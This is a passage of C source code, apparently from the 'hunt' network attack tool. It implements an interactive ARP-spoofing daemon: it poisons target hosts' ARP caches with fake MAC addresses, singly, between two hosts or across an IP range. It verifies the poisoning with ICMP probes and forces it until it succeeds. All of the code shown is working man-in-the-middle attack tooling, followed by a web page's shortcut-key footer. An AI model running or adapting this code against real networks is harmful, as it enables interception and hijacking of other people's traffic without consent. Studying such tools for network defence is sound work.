📄 arpspoof.c
字号:
return; } } } asi_src_in_dst = start_arp_spoof(src_ip, dst_ip, mi_src ? mi_src->mac : NULL, mi_dst ? mi_dst->mac : NULL, src_fake_mac, refresh, can_forward, 0); if (mi_src) mac_info_release(mi_src); if (mi_dst) { mac_info_release(mi_dst); if (user_arpspoof_test(asi_src_in_dst)) user_run_arpspoof_until_successed(asi_src_in_dst); }}static void arp_spoof_range_add(void){ unsigned int src_ip, dst_start_ip, dst_end_ip; unsigned char src_fake_mac[ETH_ALEN]; struct arp_spoof_range *asr; char buf[BUFSIZE]; int refresh, can_forward; if ((src_ip = menu_choose_hostname("host to spoof", NULL)) == -1) return; sprintf_eth_mac(buf, suggest_mac()); if (menu_choose_mac("fake mac", src_fake_mac, buf) < 0) return; if (can_forward_question) { if ((can_forward = menu_choose_yn("is host IP router y/n", 0)) < 0) return; } else can_forward = 1; if ((dst_start_ip = menu_choose_hostname("start target where to insert the spoof", NULL)) == -1) return; if ((dst_end_ip = menu_choose_hostname("end target where to insert the spoof", NULL)) == -1) return; if ((refresh = menu_choose_unr("refresh interval sec", 0, 100000, 0)) < 0) return; asr = malloc(sizeof(struct arp_spoof_range)); assert(asr); memset(asr, 0, sizeof(*asr)); asr->asi = NULL; asr->asi_count = 0; asr->dst_start_addr = dst_start_ip; asr->dst_end_addr = dst_end_ip; asr->src_addr = src_ip; memcpy(asr->src_fake_mac, src_fake_mac, ETH_ALEN); asr->refresh = refresh; asr->can_forward = can_forward; if (start_arp_spoof_range(asr) < 0) { free(asr); return; } list_enqueue(&l_arp_spoof_range, asr);}/* counts arp_spoof_info items without in_range */static int arp_spoof_count(void){ struct list_iterator li; struct arp_spoof_info *asi; int count; count = 0; list_iter_set(&li, &l_arp_spoof); while ((asi = list_iter_get(&li))) { if (asi->in_range) break; count++; } list_iter_end(&li); return count;}static void arp_spoof_del_item(void){ int i; struct arp_spoof_info *asi; arp_spoof_list_items(); i = menu_choose_unr("item nr. to delete", 0, arp_spoof_count() - 1, -1); if (i >= 0) { asi = list_at(&l_arp_spoof, i); stop_arp_spoof(asi); /* asi is freed and removed from the list in stop_arp_spoof */ }}static void arp_spoof_range_del(void){ int i; struct arp_spoof_range *asr; arp_spoof_range_list(); i = menu_choose_unr("item nr. to delete", 0, list_count(&l_arp_spoof_range) - 1, -1); if (i >= 0) { asr = list_at(&l_arp_spoof_range, i); stop_arp_spoof_range(asr); list_remove(&l_arp_spoof_range, asr); free(asr); }}static void arp_spoof_add_h(void){ unsigned int src_ip, dst_ip; struct arp_spoof_info *asi_src_in_dst, *asi_dst_in_src;#if 0 unsigned char src_fake_mac[ETH_ALEN] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEF}; unsigned char dst_fake_mac[ETH_ALEN] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEE};#endif unsigned char src_fake_mac[ETH_ALEN] = {0x00, 0x60, 0x08, 0xBE, 0x91, 0xEF}; unsigned char dst_fake_mac[ETH_ALEN] = {0x00, 0x60, 0x08, 0xBE, 0x91, 0xEE}; char buf[BUFSIZE]; struct mac_info *mi_src, *mi_dst; int refresh, src_can_forward, dst_can_forward; if ((src_ip = menu_choose_hostname("src/dst host1 to arp spoof", NULL)) == -1) return; sprintf_eth_mac(buf, suggest_mac()); if (menu_choose_mac("host1 fake mac", src_fake_mac, buf) < 0) return; if (can_forward_question) { if ((src_can_forward = menu_choose_yn("is host IP router y/n", 0)) < 0) return; } else src_can_forward = 1; if ((dst_ip = menu_choose_hostname("src/dst host2 to arp spoof", NULL)) == -1) return; sprintf_eth_mac(buf, suggest_mac()); if (menu_choose_mac("host2 fake mac", dst_fake_mac, buf) < 0) return; if (can_forward_question) { if ((dst_can_forward = menu_choose_yn("is host IP router y/n", 0)) < 0) return; } else dst_can_forward = 1; if ((refresh = menu_choose_unr("refresh interval sec", 0, 100000, 0)) < 0) return; if (!(mi_src = mac_info_get(src_ip))) { mac_discover(src_ip, 2); sec_nanosleep(1); if (!(mi_src = mac_info_get( src_ip))) { printf("ERR: host1 mac isn't known\n"); return; } } if (!(mi_dst = mac_info_get(dst_ip))) { mac_discover(dst_ip, 2); sec_nanosleep(1); if (!(mi_dst = mac_info_get(dst_ip))) { mac_info_release(mi_src); printf("ERR: host2 mac isn't known\n"); return; } } asi_src_in_dst = start_arp_spoof(src_ip, dst_ip, mi_src->mac, mi_dst->mac, src_fake_mac, refresh, src_can_forward, 0); asi_dst_in_src = start_arp_spoof(dst_ip, src_ip, mi_dst->mac, mi_src->mac, dst_fake_mac, refresh, dst_can_forward, 0); mac_info_release(mi_src); mac_info_release(mi_dst); if (user_arpspoof_test(asi_src_in_dst)) user_run_arpspoof_until_successed(asi_src_in_dst); if (user_arpspoof_test(asi_dst_in_src)) user_run_arpspoof_until_successed(asi_dst_in_src);}static void arp_spoof_del_h(void){ struct arp_spoof_info *asi; unsigned int ip1, ip2; struct list_iterator li; int i; arp_spoof_list_items(); i = menu_choose_unr("item nr. with src/dst or [cr]", 0, arp_spoof_count() - 1, -1); if (i < 0) { if ((ip1 = menu_choose_hostname("src/dst host1 to remove", NULL)) == -1) return; if ((ip2 = menu_choose_hostname("src/dst host2 to remove", NULL)) == -1) return; } else { asi = list_at(&l_arp_spoof, i); ip1 = asi->src_addr; ip2 = asi->dst_addr; } list_iter_set(&li, &l_arp_spoof); while ((asi = list_iter_get(&li))) { if (asi->src_addr == ip1 && asi->dst_addr == ip2) stop_arp_spoof(asi); if (asi->dst_addr == ip1 && asi->src_addr == ip2) stop_arp_spoof(asi); } list_iter_end(&li);}static void do_test_or_refresh(struct arp_spoof_info *asi){ int retval, refresh; refresh = 0; do { if ((retval = user_arpspoof_test(asi)) == 0) { /* error is handled by user_arpspoof_test */ printf("ARP spoof in host %s - OK\n", host_lookup(asi->dst_addr, hl_mode)); refresh = 0; } else if (retval != -2) { /* asi->dst_mac is known */ switch (menu_choose_char("do you want to refresh ARP spoof? y/n", "yn", 'y')) { case 'y': refresh = 1; send_src_spoof_to_dst(asi); break; case 'n': default: refresh = 0; break; } } else refresh = 0; } while (refresh == 1);}static void arp_spoof_user_test(void){ int i; struct arp_spoof_info *asi; arp_spoof_list_items(); i = menu_choose_unr("item nr. to test", 0, arp_spoof_count() - 1, -1); if (i < 0) return; asi = list_at(&l_arp_spoof, i); do_test_or_refresh(asi);}static void arp_spoof_range_user_test(void){ struct arp_spoof_range *asr; unsigned int dst_addr; int i, range_test; arp_spoof_range_list(); i = menu_choose_unr("item nr. to test", 0, list_count(&l_arp_spoof_range) - 1, -1); if (i < 0) return; asr = list_at(&l_arp_spoof_range, i); if ((range_test = menu_choose_yn("whole range test y/n", 0)) < 0) return; if (range_test) dst_addr = (unsigned int) -1; else if ((dst_addr = menu_choose_hostname("host to test", NULL)) == -1) return; for (i = 0; i < asr->asi_count; i++) { if (dst_addr == -1 && asr->asi[i]->dst_mac_valid) do_test_or_refresh(asr->asi[i]); else if (asr->asi[i]->dst_addr == dst_addr) { do_test_or_refresh(asr->asi[i]); break; } } if (dst_addr != -1 && i >= asr->asi_count) printf("host not found in range database\n");}void arpspoof_menu(void){ char *r_menu = "s/k) start/stop relayer daemon\n" "l/L) list arp spoof database\n" "a) add host to host arp spoof i/I) insert single/range arp spoof\n" "d) delete host to host arp spoof r/R) remove single/range arp spoof\n" "t/T) test if arp spoof successed y) relay database\n" "x) return\n"; char *r_keys = "sklLadiIrRmtTyx"; int run_it; run_it = 1; while (run_it) { switch (menu("arpspoof daemon", r_menu, "arps", r_keys, 0)) { case 's': start_arp_relayer(); break; case 'k': stop_arp_relayer(); break; case 'l': arp_spoof_list_items(); break; case 'L': arp_spoof_range_list(); break; case 'a': arp_spoof_add_h(); break; case 'd': arp_spoof_del_h(); break; case 'i': arp_spoof_add_item(); break; case 'I': arp_spoof_range_add(); break; case 'r': arp_spoof_del_item(); break; case 'R': arp_spoof_range_del(); break; case 't': arp_spoof_user_test(); break; case 'T': arp_spoof_range_user_test(); break; case 'y': relay_menu(); break; case 'x': run_it = 0; break; } }}static struct list l_arpspoof_test = LIST_INIT(struct packet, p_next[MODULE_ARPSPOOF_TEST]);/* * this function runs in hunt thread */static void hunt_arpspoof_test(struct packet *p, void *arg){ struct arp_spoof_info *asi = (struct arp_spoof_info *) arg; struct iphdr *iph = p->p_iph; struct icmphdr *icmph = p->p_hdr.p_icmph; if (iph->saddr == asi->dst_addr && iph->daddr == asi->src_addr && icmph->type == 0 && icmph->code == 0) { packet_want(p); list_produce(&l_arpspoof_test, p); }}static int find_asi_dst_mac(struct arp_spoof_info *asi, char *error_label){ struct mac_info *mi_dst; if (!asi->dst_mac_valid) { mac_discover(asi->dst_addr, 2); sec_nanosleep(1); if (!(mi_dst = mac_info_get(asi->dst_addr))) { if (error_label) printf("%s", error_label); return -2; } memcpy(asi->dst_mac, mi_dst->mac, ETH_ALEN); asi->dst_mac_valid = 1; mac_info_release(mi_dst); } return 0;}int arpspoof_test(struct arp_spoof_info *asi){ struct timeval tv; struct timespec timeout; struct ifunc_item ifunc_pingtest; struct packet *p; int retval; int i; if (!asi->dst_mac_valid) { fprintf(stderr, "error: try to do arpspoof_test without known dst mac\n"); return -1; } ifunc_pingtest.func = hunt_arpspoof_test; ifunc_pingtest.arg = asi; list_enqueue(&l_ifunc_icmp, &ifunc_pingtest); for (i = 0, retval = 0; i < 3 && !retval; i++) { send_icmp_request(asi->src_addr, asi->dst_addr, asi->src_fake_mac, asi->dst_mac, 1 + i); gettimeofday(&tv, NULL); timeout.tv_sec = tv.tv_sec + 1; timeout.tv_nsec = tv.tv_usec * 1000; while ((p = list_consume(&l_arpspoof_test, &timeout))) { retval = is_icmp_reply(p, asi->dst_addr, asi->src_addr, asi->dst_mac, asi->src_fake_mac); packet_free(p); if (retval) break; } } list_remove(&l_ifunc_icmp, &ifunc_pingtest); packet_flush(&l_arpspoof_test); if (retval == 1) /* mac is spoofed - ok */ return 0; else if (retval == 2) /* ping reply received but with original mac */ return -1; /* ping reply wasn't received */ return -1;}int user_arpspoof_test(struct arp_spoof_info *asi){ char mac_buf[64]; int retval; if ((retval = find_asi_dst_mac(asi, "dst mac isn't known - cannot do test\n")) < 0) return retval; if (arpspoof_test(asi) == 0) return 0; sprintf_eth_mac(mac_buf, asi->src_fake_mac); set_tty_color(COLOR_BRIGHTRED); printf("ARP spoof of %s with fake mac %s in host %s FAILED\n", host_lookup(asi->src_addr, hl_mode), mac_buf, host_lookup(asi->dst_addr, hl_mode)); set_tty_color(COLOR_LIGHTGRAY); fflush(stdout); return -1;}static volatile int run_arpspoof;static void run_arpspoof_intr(int sig){ run_arpspoof = 0;}int user_run_arpspoof_until_successed(struct arp_spoof_info *asi){ switch (menu_choose_char("do you want to force arp spoof until successed y/n", "yn", 'y')) { case 'y': if (run_arpspoof_until_successed(asi) == 0) { printf("ARP spoof successed\n"); return 0; } else { printf("ARP spoof failed\n"); return -1; } case 'n': return -1; } return -1;}int run_arpspoof_until_successed(struct arp_spoof_info *asi){ struct sigaction sa, sa_old; struct timespec timeout; int retval; if ((retval = find_asi_dst_mac(asi, "dst mac isn't known\n")) < 0) return retval; printf("CTRL-C to break\n"); sa.sa_handler = run_arpspoof_intr; sigemptyset(&sa.sa_mask); sa.sa_flags = SA_RESTART; sigaction(SIGINT, &sa, &sa_old); pthread_sigmask(SIG_BLOCK, &intr_mask, NULL); run_arpspoof = 1; while (arpspoof_test(asi) != 0 && run_arpspoof) { printf("."); fflush(stdout); force_arp_spoof(asi, 4); pthread_sigmask(SIG_UNBLOCK, &intr_mask, NULL); timeout.tv_sec = 5; timeout.tv_nsec = 0; nanosleep(&timeout, NULL); pthread_sigmask(SIG_BLOCK, &intr_mask, NULL); } if (!run_arpspoof) press_key("\n-- operation canceled - press any key> "); pthread_sigmask(SIG_UNBLOCK, &intr_mask, NULL); sigaction(SIGINT, &sa_old, NULL); return arpspoof_test(asi);}int arpspoof_exit_check(){ if (list_count(&l_arp_spoof) > 0) { set_tty_color(COLOR_BRIGHTRED); printf("there are arp spoofed addresses left in arpspoof daemon\n"); set_tty_color(COLOR_LIGHTGRAY); } return 0;}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -